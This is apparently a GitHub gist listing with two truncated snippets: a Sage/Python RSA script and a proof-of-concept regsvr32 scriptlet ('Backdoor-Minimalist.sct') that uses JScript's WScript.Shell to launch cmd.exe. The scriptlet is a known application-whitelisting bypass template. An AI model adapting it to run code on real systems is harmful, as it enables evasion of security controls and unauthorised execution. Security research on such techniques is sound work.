Skip to content

Instantly share code, notes, and snippets.

@chudamax
chudamax / rsa.py
Created July 30, 2017 15:51 — forked from idkravitz/rsa.py
RSA crypto algorithm on Sage math package
#!/usr/bin/env python3
# The string above changed due to coloring engine on github
# in fact its a Sage program
from sage.crypto.util import random_blum_prime, ascii_to_bin, bin_to_ascii
# Successive squaring algorithm
# effectively performs (a ** b) % m
def power(a, b, m):
d = 1
k = len(b.bits()) - 1
@chudamax
chudamax / Backdoor-Minimalist.sct
Created April 21, 2016 03:54
Execute Remote Scripts Via regsvr32.exe
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");